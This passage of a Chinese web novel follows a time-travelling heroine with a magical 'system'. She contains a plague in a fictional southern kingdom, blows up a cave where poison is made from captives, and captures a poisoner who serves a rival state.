王猛上前递上令牌和文书:“镇国公杜仁绍!奉旨南下!督办瘟疫防治!速开城门!” 第一百五十章 云岭关 “镇国公?!”校尉一惊,连忙验看文书令牌,确认无误后,脸上露出狂喜。 “快!快开城门!是国公爷来了!是李医仙来了!我们有救了!” 城门开启。 杜仁绍和李梵娘率队入关。 关内景象更加触目惊心。 街道冷清,商铺紧闭,空气中弥漫着药味和腐臭。 临时搭建的隔离棚区人满为患,呻吟声、咳嗽声、哭泣声不绝于耳。 穿着简易防护服的医者和士兵在棚区间穿梭,个个神色疲惫,眼中布满血丝。 “国公爷!夫人!你们可算来了!”一个穿着太医官服、面色憔悴的中年男子踉跄着迎了上来,正是太医院院正周清源。 “下官…下官无能!疫情…疫情失控了!” “周院正!情况如何?”李梵娘跳下马,急切问道。 “凶险!太凶险了!”周清源声音嘶哑,带着绝望,“此疫…前所未见,染病者初起高热、寒战、头痛。” “继而全身出现红斑、脓疮,口鼻出血,脏腑衰竭,从发病到死亡…快则三日,慢则七日,无药可救。” “死亡率…十之八九,更可怕的是…传染性极强,接触即染,飞沫、甚至…甚至接触病患衣物都可能染病。” “我们…我们已经死了十几个医者和士兵了,药材…也快耗尽了!” “接触传播?飞沫传播?”李梵娘心头一沉,这症状…听起来像是一种烈性出血热的病毒,或者…鼠疫? “病源呢?查清了吗?”杜仁绍沉声问。 “查不清!”周清源摇头,“最先爆发的是南诏边境的‘黑水寨’。” “整个寨子…几乎死绝了,我们的人根本进不去!派去的探子…也…也没回来几个。” “南诏那边…彻底乱了!部落互相攻伐,根本没人管瘟疫!” 黑水寨? 阿史那咄吉提到的“黑石部”就在黑水寨附近,他让找黑石部求援…难道他知道什么? “带我去隔离区!”李梵娘果断下令,“我要亲自查看病患!” “夫人!不可!”周清源大惊失色,“太危险了!此疫凶猛无比!您…” “无妨!”李梵娘打断他,直接带来的物资里,装模作样的找东西,从空间里拿了两套防护服出来。 将其中一套防护服递给杜仁绍:“穿上!跟我进去!” 周清源等人看着这从未见过的、造型奇特的“法衣”,目瞪口呆。 片刻后,李梵娘和杜仁绍穿戴整齐,她还背了个布包,方便掩人耳目。 全身被特殊材料包裹,头戴透明面罩,自带呼吸过滤系统。 在众人惊愕的目光中,两人走进隔离区。 隔离区内,如同人间地狱。 低矮的草棚下,挤满了病患。 空气污浊不堪,混合着血腥、脓臭、药味和绝望的气息。 病患们脸色潮红或灰败,身上布满了红斑和溃烂的脓疮,口鼻处凝结着暗红的血痂。 有人蜷缩着抽搐,有人神志不清地呓语,有人眼神空洞地等待着死亡。 角落里,盖着白布的尸体堆叠在一起。 饶是杜仁绍这等尸山血海里闯出来的悍将,看到此情此景,也忍不住心头一凛。 李梵娘强压下心中的震撼和悲伤,强迫自己冷静下来。 她走到一个病情相对较轻的少年身边,蹲下身。 “别怕。” 她让系统扫描了一下他的情况。 【宿主,咱也没见过这个高致病性病毒,就先叫黑水热病毒吧】 【这个病具有强传染性,接触、飞沫、体液传播都能感染,致死率极高,而且还没有特效药。】 【先隔离止血,再试试咱空间的血清。】 李梵娘心头一沉,借着包的遮掩,从系统空间取了一个病毒检测试剂盒,在少年指尖采了一滴血,滴入凹槽。 很快结果出来了,阳性。 “阳性,确认感染。”李梵娘沉声道。 她又快速检查了几个不同阶段的病患,结果一致。 所有症状明显的病患,检测均为阳性。 “周院正!”李梵娘走出隔离区,立刻下令,“立刻将隔离区按病情轻重分区,重症、轻症、疑似、密切接触者,严格分开。” “所有医者、士兵,必须穿戴我提供的这身衣服,去物资那边领取。” “接触病患后,必须全身消毒!病患排泄物、呕吐物、尸体,必须用生石灰深埋或焚烧!水源必须煮沸!食物必须煮熟!” “发现新病患,立刻隔离!决不允许再出现交叉感染!” “是!夫人!”周清源看着李梵娘那身神奇的“法衣”,心中燃起一丝希望,连忙领命。 “刘二柱!”李梵娘看向教习局医工,“你们十人,分成两组,一组协助周院正分区管理!一组跟我配制‘血清’!优先给重症患者和一线医者使用!” “是!夫人!”刘二柱等人精神一振。 “杜仁绍!”李梵娘看向丈夫,“立刻封锁整个云岭关!许进不许出!所有进出人员,必须接受严格检查和隔离观察!” “同时…派精锐斥候,潜入南诏,去黑水寨寻找瘟疫源头,查一下‘鬼医’踪迹。” “联系阿史那咄吉提到的‘黑石部’,注意安全!务必穿戴防护装备!” “明白!”杜仁绍应声,“王猛!赵虎!立刻执行!” 整个云岭关在李梵娘的指挥下,快速运转起来。 分区隔离、消毒防疫、水源管控、尸体处理…命令被严格执行。 系统兑换的防护服和“避瘟水”(消毒液)发挥了巨大作用,大大降低了医护人员的感染风险。 李梵娘则带着刘二柱等人,在临时辟出的“制药房”内,开始配制“血清”。 她利用系统快速分析病毒特性,指导血清的配伍。 虽然血清无法根治病毒,但能有效抑制病毒继续扩散,缓解症状,为患者争取时间。 “夫人!重症三区…有个孩子快不行了!”一名医工气喘吁吁地跑来报告。 李梵娘立刻放下手中的活,赶往重症区。 一个约莫七八岁的小女孩躺在草席上,浑身滚烫,呼吸微弱,口鼻不断渗出黑血,身上脓疮溃烂,散发着恶臭。 她的小手紧紧抓着一个脏兮兮的布娃娃,眼神涣散,口中无意识地喊着:“娘…娘…” 李梵娘心中一痛。 她迅速检查,小女孩的心跳和血压都在急剧下降,随时可能死亡。 第一百五十一章 进山洞 【系统,把上次解蛊那个小机器人版用上。】 【好嘞!】 李梵娘将一支淡金色的液体注射到小女孩体内。 奇迹发生了,小女孩的呼吸竟然逐渐平稳下来。 渗血止住了,体温也开始缓慢下降,涣散的眼神似乎恢复了一丝神采。 “活了!孩子活了!”旁边的医工激动地喊道。 李梵娘松了口气。 这纳米机器人维效果虽好,但消耗极大,无法大规模使用。 只能用在最严重的病人身上。 就在这时,杜仁绍大步走了进来,脸色凝重:“梵娘!斥候回来了!有重大发现!” “什么发现?”李梵娘精神一振。 杜仁绍挥退左右,压低声音:“斥候小队潜入南诏,抵达黑水寨附近。发现…整个寨子已成死域,尸横遍野,惨不忍睹。” “但…在寨子后山的密林中,发现了一个…隐秘的山洞。” “山洞?” “对!”杜仁绍眼中寒光闪烁,“山洞入口极其隐蔽,有重兵把守,看装束…是西羌的精锐。” “斥候不敢靠近,但远远看到…有西羌士兵押送着一些…衣衫褴褛、神情麻木的南诏百姓进入山洞,那些百姓…进去后…就再也没出来。” “活人?!”李梵娘心头一震,联想到阿史那咄吉信中提到的“活人炼毒”。 “难道…那就是‘鬼医’的炼毒巢穴?!” “极有可能!”杜仁绍沉声道,“更诡异的是…斥候在洞口附近,发现了一些…散落的黑色粉末。” “他们带回来一点,周院正检验后…确认含有剧毒,与瘟疫症状有相似之处!” “毒粉?!”李梵娘眼神锐利,“样本呢?给我看看!” 杜仁绍递过来一个小瓶,里面装着少量黑色粉末。 李梵娘接过。 【我去,宿主,有毒有毒!】【这玩意儿接触以后,高热、器官衰竭,主要它还传染】 【南诏国主那老头儿死的原因也是这个。】 “另外,”杜仁绍继续道,“斥候在返回途中,遭遇了黑石部的游骑,对方很警惕,但得知我们是受阿史那可汗之托而来,态度缓和。” “黑石部首领‘巴图’传来口信:他们部落也爆发了瘟疫,死了不少人,他们怀疑…是西羌人搞的鬼。” “因为…瘟疫爆发前,曾有一队西羌商人路过黑水寨,行踪诡秘,巴图愿意配合我们。” “但…他们部落现在自顾不暇,兵力有限,只能提供向导和情报支持!” 黑石部也遭殃了? 看来“鬼医”连靠近大胤的部落也没放过。 “必须摧毁那个山洞!”李梵娘斩钉截铁,“否则,瘟疫源头不除,毒粉源源不断,我们永远防不胜防!” “我也是这个意思!”杜仁绍眼中杀意沸腾,“但…山洞易守难攻,西羌守卫森严,强攻…伤亡太大。” “而且…万一他们狗急跳墙,引爆毒粉…后果不堪设想!” “不能强攻!”李梵娘立刻否定,“必须智取,或者…潜入破坏。” 她脑中飞速思考。 系统商城…有什么东西能派上用场?大规模杀伤性武器不能用,毒气也不行… 最好是能无声无息解决守卫,或者直接破坏洞内设施… 【宿主大大,推荐‘次声波定向眩晕器’!发射高强度次声波,可以震晕范围内所有生物。】 【虽然效果只有1小时,但是你要是再加上定时炸弹的话,可以引爆摧毁山洞。】 系统适时提供方案。 “好,试试。”李梵娘点点头。 “我有办法!”李梵娘看向杜仁绍,“我有一种…特殊的‘法器’,可无声无息震晕守。” “然后…我们潜入山洞,安放‘爆裂符’,将其彻底摧毁!” “无声震晕?爆裂符?”杜仁绍眼中精光一闪。 虽然不明白具体原理,但他对自家媳妇儿的手段深信不疑。 “好!何时行动?” “事不宜迟!今夜子时!”李梵娘果断道,“你挑选二十名最精锐、身手最好的亲卫!全部穿戴防护服。” “带上强弩和短刃,跟我行动,王猛、赵虎留守关城,指挥防疫。” “明白!”杜仁绍立刻去安排。 夜幕降临,乌云蔽月。 南疆的密林深处,一片死寂,只有虫鸣和风声。 李梵娘、杜仁绍和二十名玄甲军精锐在密林中穿行。 他们穿着防护服,脚步轻盈,悄无声息。 黑石部的向导“乌力罕”在前面带路。 他身材矮壮,皮肤黝黑,对这片山林极其熟悉。 在他的指引下,队伍避开了几处沼泽和毒瘴区,迅速接近黑水寨后山。 “就在前面!”乌力罕压低声音,指着前方一处被藤蔓和巨石半掩的山壁。 “山洞入口就在那石头后面!有暗哨!明哨在洞口左右各两个!里面…不知道还有多少!” 李梵娘启动夜视仪。 果然,山壁前,两个西羌士兵抱着弯刀,靠在石头上打盹。 洞口两侧,还有两个人在警戒。 “准备!”李梵娘取出伪装成铜镜的“次声波定向眩晕器”。 “嗡——!” 只见那四个守卫,身体猛地一僵,连哼都没哼一声,便软软地瘫倒在地,失去了意识。 “上!”杜仁绍低喝一声。 二十名精锐迅速清理了洞口,将昏迷的守卫拖到隐蔽处捆好。 杜仁绍和李梵娘带着刘二柱、乌力罕,率先潜入山洞。 山洞内阴冷潮湿,弥漫着一股刺鼻的药味儿和血腥混合的恶臭。 通道蜿蜒向下,两侧插着火把,光线昏暗。走了约莫百米,前方豁然开朗。 一个巨大的天然溶洞出现在眼前。 眼前的景象,让见惯了生死的杜仁绍都倒吸一口冷气,让李梵娘目眦欲裂。 溶洞中央,矗立着几个冒着气泡的大号石槽,里面翻滚着墨绿色的粘稠液体。 散发出令人作呕的气味,石槽周围,散落着森森白骨。 有人类的,也有动物的。 洞壁上,挂着各种奇形怪状的刑具,上面沾满了血迹。 更令人发指的是,在溶洞角落的铁笼里,关押着十几个骨瘦如柴的南诏百姓。 他们眼神空洞麻木,几个穿着黑袍、戴着面具的人,正粗暴地将一个挣扎的百姓拖向一个石台。 第一百五十二章 追击黑影 石台上,摆满了各种刀具器械。 “畜生!”杜仁绍眼中怒火滔天,拔刀就要冲上去。 “等等!”李梵娘一把拉住他,强压住心中的愤怒和恶心,“先安放‘爆裂符’!摧毁这里!一个不留!” 她迅速取出五枚伪装成黑色石块的定时炸弹,分给杜仁绍、刘二柱、乌力罕。 四人分头行动,将炸弹安放在石槽底部、支撑柱旁、以及通往更深处的通道口。 定时:三十分钟。 “撤!”安放完毕,李梵娘招呼四人迅速退出溶洞,与洞外的队员汇合。 “走!”队伍迅速撤离。 刚撤出百米外。 “轰!轰!轰!轰!轰!” 五声巨响接连从山腹中传来,整个山体剧烈震动,巨石滚落,烟尘弥漫。 山洞入口瞬间被崩塌的巨石彻底封死,熊熊火光从缝隙中喷涌而出。 “成了!”李梵娘看着山洞,心中却没有丝毫喜悦,只有沉重。 那些被关押的百姓…终于解脱了… “夫人!将军!快看!”乌力罕突然指着山下黑水寨方向。 只见寨子深处,一处不起眼的竹楼内,猛地窜出一道黑影。 那黑影速度极快的在废墟间穿梭,向着密林深处逃窜。 他身披黑袍,脸上似乎也戴着面具。 “鬼医?”李梵娘和杜仁绍同时眼神一凛。 “追!”杜仁绍厉声喝道,“绝不能让他跑了。” 黑影逃窜的方向,赫然是…南诏国都的方向! 他要去哪里? 难道…南诏国主的暴毙之后,还有更大的事情要发生? “追!”杜仁绍一声厉喝,玄甲军在刘二柱、乌力罕的带领下,分成两翼,包抄追击那道逃窜的黑影。 李梵娘和杜仁绍则带着王猛等几名亲卫,紧随其后。 那“鬼医”的速度快得惊人,在崎岖的山林间穿梭,显然对地形极其熟悉。 他显然早有准备,逃跑路线并非直线,而是不断利用岩石、树木、陡峭的崖壁作为掩护,试图甩掉追兵。 “嗖!嗖!嗖!”玄甲军的劲弩不断射向黑影的落脚点。 但“鬼医”的身法诡异莫测,弩箭往往擦着他的身体钉在树干或岩石。 “好滑溜的泥鳅!”王猛怒骂一声,抽出腰间短刀,“将军!夫人!你们小心!我带人绕前堵截!” “小心!”杜仁绍沉声应道。 王猛带着五名亲卫加速,试图从侧翼包抄。 李梵娘一边跑,一边把系统空间的微型无人机打开。 李梵娘眼前瞬间出现一个只有她能看见的虚半透明屏幕,上面是鬼医那边的实时画面。 甚至能看清他黑袍下摆的破损和面具下满是怨毒的眼睛。 “左前方!三百米!他准备翻越断崖!”李梵娘立刻报点。 杜仁绍立刻张弓搭箭,射向“鬼医”即将落脚的一块凸起岩石。 “鬼医”似乎有所察觉,身体猛地一扭,重箭擦着他的肩膀飞过,带起一溜血花。 他闷哼一声,动作却丝毫不停,反而借着冲势,猛地扑向断崖边缘。 那里竟然隐藏着一条藤蔓索道? “不好!他要溜!”杜仁绍眼神一寒。 “鬼医”抓住藤蔓,像猴子一样荡向对岸,身影迅速消失在崖壁的阴影中。 “该死!”王猛带人冲到崖边,看着深不见底的峡谷和消失的索道,气得直跺脚。 “别急!”李梵娘冷静道, “他跑不了的。” 虚拟屏幕上,“鬼医”的身影在对岸的密林中快速移动,方向…南诏国都景洪城。 “他要去景洪!”李梵娘沉声道,“目标…很可能是南诏皇宫!” “皇宫?”杜仁绍眉头紧锁,“他想干什么?刺杀新国主?还是…继续散播瘟疫?!” “都有可能!”李梵娘眼神锐利,“必须在他进城前截住他!否则…后果不堪设想!” “乌力罕!”杜仁绍看向黑石部向导,“可有近路?赶在他前面抵达景洪城!” 乌力罕看着深不见底的峡谷,又看了看对岸,咬咬牙:“有!但…是条险路!要穿过‘毒龙涧’!那里毒瘴弥漫,毒虫遍地!九死一生!” “毒龙涧?”李梵娘意念一动,【系统,你扫描一下‘毒龙涧’环境】 【宿主大大,硫化氢、甲烷,还伴有高浓度孢子真菌。】 【毒虫的话就是蜈蚣、毒蝎、毒蛇,密度还挺高,你穿咱那升级版防护服,再配上驱虫喷雾就行了。】 “换上这个!”李梵娘立刻跑去后面的物资车上(空间)取了防护服和喷雾,分发给众人。 乌力罕看着这神奇的法衣,目瞪口呆,但还是依言穿上。 “走!”杜仁绍一声令下,队伍在乌力罕的带领下,绕向毒龙涧入口。 毒龙涧,名副其实。 狭窄的谷底弥漫着恶臭的灰绿色毒瘴,能见度不足五米,脚下是苔藓和枯枝败叶。 四周岩壁上,爬满了色彩斑斓的毒虫,拳头大小的毒蜘蛛、手臂粗的蜈蚣、三角头的毒蛇… “喷驱虫喷雾!”李梵娘下令。 队员们立刻按下喷雾按钮。 一股无色无味的雾气弥漫开来。 周围的毒虫纷纷退散,甚至有些直接掉落在地,抽搐着死去。 “好厉害!”乌力罕惊叹。 队伍沿着乌力罕指引的小径,在毒龙涧中快速穿行。 一个时辰后,队伍成功穿越了死亡地带,抵达景洪城西郊。 比“鬼医”绕行大路快了近半日。 “‘鬼医’距离景洪城还有二十里!”李梵娘看着虚拟屏幕,“他速度很快!预计一个时辰后抵达西门!” “西门…”杜仁绍眼神一凝,“王猛!赵虎!” “末将在!” “带人分头行动!王猛带一队,控制西门!赵虎带一队,潜入城内!监视皇宫!发现‘鬼医’踪迹,立刻发信号!” “记住!此人极度危险!擅用毒蛊!不可近身缠斗!优先远程击杀!” “得令!”王猛、赵虎领命而去。 “梵娘,”杜仁绍看向李梵娘,“我们…去皇宫!” “好!”李梵娘点头。 直觉告诉她,“鬼医”的目标,必然是皇宫。 景洪城,南诏国都。 昔日繁华的街道,此刻却弥漫着恐慌。 瘟疫的阴影笼罩全城,店铺关门,行人稀少,家家户户门窗紧闭。 偶尔有士兵巡逻经过,也是神色紧张,行色匆匆。 空气中弥漫着草药焚烧的味道。 第一百五十三章 南诏国 皇宫更是戒备森严,宫墙外,三步一岗,五步一哨。 士兵们手持长矛,神情肃杀。 宫门紧闭,只留一道侧门供人出入,盘查极其严格。 李梵娘和杜仁绍在乌力罕的带领下,顺利通过盘查,进入皇宫。 接待他们的是南诏国主暴毙后暂理朝政的国舅爷蒙泰。 他身材微胖,面容愁苦,眼中布满血丝,显然被国事和瘟疫压得喘不过气来。 “镇国公!李夫人!你们可算来了!”蒙泰见到两人,如同见到救星,激动得差点落泪。 “国主…国主他…死得不明不白啊!瘟疫…瘟疫又…唉!南诏…危在旦夕啊!” “国舅节哀。”杜仁绍沉声道,“我等奉大胤皇帝之命,前来协助平疫,并调查国主暴毙真相!请国舅详细告知国主驾崩前后的情况!” 蒙泰抹了把眼泪,哽咽道:“国主身体一向康健!半月前,突然召见‘桑吉’(黑袍大祭司)…密谈之后,便…便精神恍惚。” “三日后…就…就七窍流血,全身溃烂而亡!死状…惨不忍睹!桑吉…也在国主驾崩当夜…失踪了!宫中侍卫…死了好几个!都是…都是中了蛊毒!” “国主驾崩前,可曾接触过什么可疑之人?或者…服用过什么特殊的东西?”李梵娘追问。 “可疑之人…”蒙泰皱眉思索,“除了桑吉…就只有…西羌使团,国主驾崩前三天,西羌使团曾入宫觐见!献上…献上了一株‘千年雪莲’。” “说是能延年益寿,国主…甚是欢喜,当晚就命人炖了参汤服用…” 西羌使团!千年雪莲? 李梵娘和杜仁绍对视一眼,都看到了对方眼中的凝重。 “那株雪莲…可还有残留?”李梵娘急切问道。 “有!有!”蒙泰连忙道,“国主只服用了一小部分!剩下的…还在御药房封存!我这就命人取来!” 很快,一个精致的玉盒被呈了上来。 打开玉盒,里面是一株保存完好的雪莲,花瓣洁白如玉,散发着淡淡的清香。 李梵娘让系统扫描。 “就是它!”李梵娘沉声道,“这雪莲被剧毒浸泡过!国主…是被西羌人毒杀的!” “西羌!!”蒙泰目眦欲裂,浑身颤抖,“果然是这群豺狼!他们…他们害死国主。”“还想嫁祸给大祭司!挑起我南诏内乱!好狠毒的心肠!” “国舅!”杜仁绍冷声道,“当务之急,是稳定局势,控制瘟疫!同时…揪出潜伏在城内的‘鬼医’!” “此人…很可能就是西羌派来执行投毒和散播瘟疫的爪牙,他此刻…应该就在景洪城内,目标…很可能是年幼的公主殿下!” “公主?”蒙泰脸色惨白,“对!对!公主殿下!她是国主唯一的血脉!西羌人…想斩草除根!” “公主现在何处?”李梵娘急问。 “在…在‘月华宫’!由王后亲自守着,守卫森严。”蒙泰道。 “立刻带我们去!”杜仁绍果断下令! 月华宫位于皇宫深处,环境清幽雅致。 此刻,却被一种肃杀和紧张的气氛笼罩。 宫门外,数十名精锐侍卫手持弯刀,警惕地巡视着。 宫墙上,隐约可见弓弩手的身影。 蒙泰带着李梵娘和杜仁绍匆匆赶到。 侍卫统领认识国舅,验看过杜仁绍的令牌后,才放行入内。 宫殿内,气氛更加压抑。 南诏王后,一位三十多岁、面容憔悴却难掩雍容气度的妇人,正抱着一个约莫五六岁、粉雕玉琢的小女孩。 小女孩穿着华丽的宫装,小脸苍白,眼里充满了恐惧,身体微微颤抖着。 她正是南诏国唯一的继承人,玉萝公主。 “王后!公主殿下!”蒙泰上前行礼,“大胤镇国公杜将军!奉圣夫人李夫人!前来护卫!” 王后抬起头,看到杜仁绍和李梵娘,眼中闪过一丝希望,随即又被更深的忧虑取代。 “有劳将军和夫人!只是…玉萝她…她…” “公主怎么了?”李梵娘敏锐地察觉到不对劲,立刻上前。 “玉萝…玉萝她今早起来…就…就有些发热…精神萎靡…”王后声音哽咽,带着恐惧,“我…我怕…怕她…” 瘟疫?李梵娘心头一沉。 她立刻蹲下身,柔声道:“公主殿下,别怕。让姨姨看看,好吗?” 玉萝公主怯生生地看着李梵娘,又看了看母亲。 王后点点头:“玉萝乖,让李夫人看看。” 李梵娘轻轻握住玉萝的小手,触手滚烫。 她迅速取出“病毒检测试剂盒,在玉萝指尖采了一滴血。 阳性。 “公主…感染了瘟疫!”李梵娘声音沉重。 “什么?!”王后如遭雷击,身体一晃,险些晕倒,蒙泰也脸色惨白。 “王后!国舅!别慌!”李梵娘立刻安抚,“公主感染尚浅,我有办法救治,但需要立刻隔离,进行治疗。” 她从空间取了退热贴和针剂,借着包拿出来。 “快!准备干净的房间!热水!干净的布巾!”李梵娘一边吩咐,一边给玉萝注射血清和药剂。 玉萝被转移到偏殿的暖阁内。 李梵娘亲自守着,进行后续治疗和观察。 杜仁绍则负责月华宫外围的警戒,王猛、赵虎带人将月华宫围得水泄不通。 时间一分一秒过去。 玉萝在药物作用下,沉沉睡去,体温开始缓慢下降。 李梵娘稍稍松了口气。 夜色渐深。 月华宫内外一片寂静,只有巡逻侍卫的脚步声和虫鸣。 李梵娘守在玉萝床边,不敢松懈。 她一边观察着玉萝的情况,一边看着屏幕监控的实时画面。 “鬼医”的身影在景洪城内消失了,这让她心中隐隐不安。 “夫人!夫人!”门外传来王猛焦急的声音。 李梵娘心头一紧,立刻起身开门:“什么事?” “巡逻队在宫墙西北角…发现了两具侍卫的尸体!”王猛脸色铁青,“死状…极其诡异,全身发黑,七窍流血,像是…中了剧毒。而且…尸体旁边…有…有这个!” 他递过来一小撮黑色的粉末。 “鬼医,他进来了。”李梵娘拧紧眉头,目标果然是玉萝公主。 “加强警戒,所有入口,重点保护公主寝殿。”杜仁绍的声音从外面传来,带着杀意。 “梵娘,你守着公主,外面交给我!” 第一百五十四章 鬼医死了 “好!”李梵娘退回房间,反锁房门。 她和系统换了个防御屏障,罩住了整个暖阁。 她要确保玉萝的安全。 时间流逝。 李梵娘守在玉萝床边,听着外面的动静。 杜仁绍亲自坐镇暖阁外的小院。 突然。 “啊!”一声惨叫从宫殿另一侧传来,紧接着是兵刃碰撞声的声音。 “有刺客!保护王后!” “在那边!追!” “小心!有毒!” 调虎离山? 李梵娘心头一凛,鬼医的目标是王后? 还是…故意制造混乱? “王猛守住这里,赵虎跟我来!”他必须去支援王后。 但…梵娘和公主这里… “夫君,你去吧,这里有我!”李梵娘的声音透过房门传来。 杜仁绍深深看了一眼紧闭的房门,一咬牙:“王猛,死守此地,任何人靠近...格杀勿论!” “得令!” 杜仁绍带着赵虎和部分亲卫,冲向混乱传来的方向。 暖阁内,李梵娘握紧了手中的强效麻醉针剂,屏息凝神。 她知道,危险…可能才刚刚开始。 果然,就在杜仁绍离开不到半盏茶功夫。 “嗡——!” 暖阁外,防御屏障发出剧烈的嗡鸣。 有人强行闯入屏障范围。 “噗通,噗通。”两声闷响。 显然是守在暖阁外的两个玄甲军被次声波震晕倒地。 紧接着,一道黑影悄无声息地出现在暖阁窗外。 正是“鬼医”,他黑袍破损,面具歪斜,露出半张布满疤痕的脸。 他手里握着一支吹管,对准了窗棂缝隙。 “哼!雕虫小技!”李梵娘冷笑一声,“系统,快快快,启动高频声波干扰,朝那个吹管!” 【好嘞宿主!】 “噗!”“鬼医”手中的吹管炸裂开来,黑色的毒粉四溅。 一部分甚至溅到了他自己的手上。 “啊!”鬼医一声惨叫,被毒粉沾染的手掌瞬间变得乌黑肿胀。 他眼中闪过一丝惊骇,显然没料到自己的手段会被如此轻易破解。 “找死!”李梵娘眼中寒光一闪,猛地推开窗户,手里的麻醉直直朝他扔过去。 鬼医反应极快,身体诡异地向后一仰,险险避开针剂。 同时,他猛地甩出几枚毒镖,直取李梵娘面门。 李梵娘早有防备,身体一侧,避过毒镖。 迅速从空间拿了个高压电手套,“找死!” 她不退反进,一巴掌拍向鬼医胸口。 鬼医眼中闪过不屑,一个女流之辈,也敢跟他近身? 他狞笑着,手抓向李梵娘的手腕,想将她擒住。 “滋啦——!” 就在鬼医的手即将碰到李梵娘手腕的瞬间,一股电流猛地从手套上爆发出来。 “啊——!”鬼医发出一声不似人声的惨叫,整个人剧烈地抽搐起来。 头发根根竖起,身上冒出青烟,一股焦糊味弥漫开来。 鬼医抽搐着瘫倒在地,口吐白沫,眼神涣散,彻底失去了反抗能力。 李梵娘冷冷地看着地上的鬼医,又从空间拿出来一个合金锁链,将鬼医捆成了粽子,把麻醉剂给他用上。 “王猛,进来把人绑了。”李梵娘打开房门。 王猛冲进来,看到地上焦黑抽搐的鬼医,目瞪口呆:“夫…夫人…您…您把他…烤了?” 鬼医被生擒的消息,传遍月华宫。 王后和蒙泰闻讯赶来,看到地上那个焦黑抽搐的男人,又惊又怕,更多的是大仇得报的激动。 “就是他,就是这个恶魔!害死了国主!害死了那么多无辜百姓!”蒙泰指着鬼医,老泪纵横,恨不得冲上去撕了他。 王后紧紧抱着被惊醒、吓得瑟瑟发抖的玉萝公主。 “王后,国舅,此人罪大恶极,但还需审问清楚,揪出幕后主使。”杜仁绍沉声道。 他已平息了另一边鬼医用毒物控制的几名死士,迅速赶回。 “对!审!一定要审!”蒙泰咬牙切齿。 李梵娘给鬼医注射解除麻痹的药剂。 鬼医幽幽转醒,眼神怨毒地盯着李梵娘,喉咙里发出嗬嗬声。 “桑吉,或者…该叫你‘鬼医’。”李梵娘冷冷地看着他,“西羌给了你什么好处?让你如此丧心病狂,毒杀国主散播瘟疫,残害无辜。” “嗬嗬…”鬼医喉咙滚动,发出沙哑的声音,“好处?…力量!永生!” “…西羌大祭司…答应我…给我…给我永生不死的力量,…让我…成为…真正的…神!” “永生不死?神?”李梵娘嗤笑一声,“就凭你这人不人鬼不鬼的样子?用活人炼毒?制造瘟疫?这就是你追求的力量?” “你…懂什么!”鬼医眼里满是疯狂,“凡人…蝼蚁,死不足惜!…他们的生命…能为我…伟大的实验…献祭…是他们的荣幸!” “…瘟疫…是净化!…是神的旨意!…西羌…西羌才是…南疆…真正的主人!…大祭司…会…会带领我们…征服…一切!…” “疯子!”杜仁绍眼神冰冷,“西羌大祭司是谁?他在哪里?” “大祭司…无所不在!…无所不能!…”鬼医脸上露出诡异的笑,“他…就在…你们…身边…哈哈…哈哈哈…呃!” 他的笑声戛然而止,身体猛地一僵,眼睛瞪得滚圆,嘴角流出黑血,身体剧烈抽搐了几下,便彻底不动了。 “怎么回事?”李梵娘一惊,立刻上前检查。 【宿主,他中毒死了。】 “死了。”李梵娘脸色难看,“他体内被下了禁制,一旦触及秘密,就死了。” 线索又断了。 “可恶!”蒙泰一拳砸在桌子上。 “王后!国舅!”杜仁绍看向两人,“鬼医虽死,但西羌的威胁仍在,当务之急是稳定南诏局势,控制瘟疫。” “公主殿下感染瘟疫,幸得我夫人救治,暂无大碍。但南诏境内,还有无数百姓。” “我建议,立刻以公主和王后之名,发布诏令,召集各部落首领,共商国是。” “同时,由我夫人全权负责瘟疫防治,大胤将全力提供支援。” “好!好!”王后连连点头,眼中含泪,“一切…全凭将军和夫人做主,只要能救南诏百姓…救我的玉萝…我什么都答应!” 蒙泰也躬身道:“南诏上下,感激不尽,愿与大胤永结盟好!” 第一百五十五章 长生不老? 接下来的日子,李梵娘和杜仁绍迅速稳定了南诏局势。 王后和玉萝公主的诏令发出,各部落首领在国难当头之际,暂时放下纷争,齐聚景洪城。 杜仁绍以强大的军事实力和铁血手段,镇压了几个趁机作乱的部落。 李梵娘则成为整个南疆的救星,她将云岭关的防疫经验迅速推广。 分区隔离、消毒防疫、水源管控、尸体处理… 一道道命令被严格执行,系统兑换的防护服、消毒液、抗病毒血清、抗生素等物资,源源不断地分发到各地。 教习局医工和南诏本地医者在她的培训和指导下,成为主力军。 玉萝公主在李梵娘的治疗下,很快康复。 这个年幼的公主,对救了她性命、像仙女一样的李梵娘充满了依赖和崇拜。 王后更是感激涕零,视李梵娘为恩人。 疫情在李梵娘的措施下,迅速得到控制。 新增病例急剧减少,康复者越来越多。 南诏百姓将李梵娘奉若神明,称她为“救苦救难的月神娘娘”。 南诏朝廷更是正式册封李梵娘为“南诏国师”,赐予象征最高荣誉的“金孔雀令”,享有与国主同等的尊荣。 消息传回大胤,举国欢腾。 皇帝李恒龙颜大悦,再次下旨嘉奖,杜仁绍晋封一等国公,李梵娘加封“护国圣手”尊号,赏赐无数。 就在南诏局势渐稳,李梵娘和杜仁绍准备班师回朝之际,一个意想不到的人,带来了一个消息。 黑石部首领巴图,风尘仆仆地赶到景洪城,“夫人,将军,我们在追踪西羌残部时,发现他们…他们似乎在秘密挖掘一处上古遗迹。” “位置…就在西羌圣山‘天火峰’下,我们的人…还偷听到…他们提到了…‘长生秘药’和…‘起死回生之术’!” “上古遗迹?长生秘药?起死回生之术?”李梵娘和杜仁绍对视一眼,都看到了对方眼中的疑惑。 西羌人!又是西羌人!他们到底在图谋什么? “巴图首领!消息可靠吗?具体位置在哪?”杜仁绍沉声问道。 “千真万确!”巴图黝黑的脸上带着笃定,“是我最信任的猎鹰‘黑羽’发现的。” “它在天火峰附近捕猎时,发现西羌人在一处隐蔽的山谷里挖掘,那里…有古怪的石头建筑,还有…很多守卫。” “我亲自带人靠近侦查,差点被发现!听到他们说什么‘圣山之门’、‘永生之秘’、‘就差最后一步’,还提到了…‘异世之魂’!说什么…只要找到‘钥匙’…就能打开‘永生之门’!” “异世之魂?”李梵娘心头猛地一跳,一股寒意从脚底窜上脊梁。 难道…西羌大祭司的目标…是她? 杜仁绍也想到了这点,他眼里带着杀意:“梵娘,他们…冲你来的。” “是!”李梵娘深吸一口气,强迫自己冷静下来,“看来…我的存在,让某些人…坐不住了,长生,永生。痴心妄想!” “巴图首领,”杜仁绍看向巴图,“你可知西羌大祭司…现在何处?” “大祭司?”巴图摇摇头,“此人神秘莫测,行踪不定。有人说他在圣山神殿闭关,也有人说…他就在遗迹附近,但…从未有人见过他的真面目。” “天火峰…遗迹…”李梵娘眼中精光闪烁,“看来…我们必须走一趟了,不管他想要什么‘钥匙’,想开什么‘门’,都该到此为止了。” 